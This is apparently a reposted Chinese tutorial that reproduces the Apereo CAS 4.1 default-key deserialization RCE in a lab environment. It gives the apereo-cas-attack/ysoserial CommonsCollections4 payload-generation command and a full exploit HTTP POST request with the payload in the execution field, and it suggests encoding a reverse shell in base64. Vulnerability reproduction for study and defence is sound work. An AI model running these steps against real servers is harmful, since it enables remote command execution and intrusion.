Apereo-cas漏洞復現


簡介

參考鏈接:

CAS 全稱是Central Authentication Service(中心認證服務),它是一個單點登錄(Single-Sign-On)協議,Apereo CAS是實現該協議的軟件包,且Apereo CAS是目前Java服務器環境下使用最為廣泛的單點登錄系統。

Apereo CAS 4.1 反序列化命令執行漏洞

參考鏈接:

Apereo CAS 在4.1.7版本之前存在一處默認密鑰的問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,進而執行任意命令。

漏洞影響版本:

  • version < 4.1.7

漏洞復現

啟動環境,訪問http://your-ip:8080/cas/login即可查看到登錄頁面。

我們可以使用Apereo-CAS-Attack來復現該漏洞,該工具需要與ysoserial配合使用,使用ysoserial的CommonsCollections4生成加密后的Payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

多次生成你會發現生成的內容並不一樣,但是沒有關系。然后我們在login頁面進行登錄並抓包,用戶名和密碼隨意填寫,將body中的execution值替換成上面的payload:

POST /cas/login HTTP/1.1
Host: 139.198.172.202:8080
Content-Length: 2305
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.198.172.202:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.198.172.202:8080/cas/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C70B7AA2F917AFEC6D4504EAEAAF06FB; wp-settings-time-1=1626831956
Connection: close

username=test&password=test&lt=LT-6-6rO5h3ba6wNhaP551NCKziUKyVgJhD-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN

使用docker exec -it <容器ID> /bin/bash進入容器,在/tmp目錄下創建了success文件。

反彈shell,可以使用base64對反彈shell語句進行編碼。

http://www.jackson-t.ca/runtime-exec-payloads.html

漏洞修復

這個漏洞的時間比較早了(16年),現在(21年10月13日)最先的版本是6.4.1,升級到沒有漏洞的版本即可。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM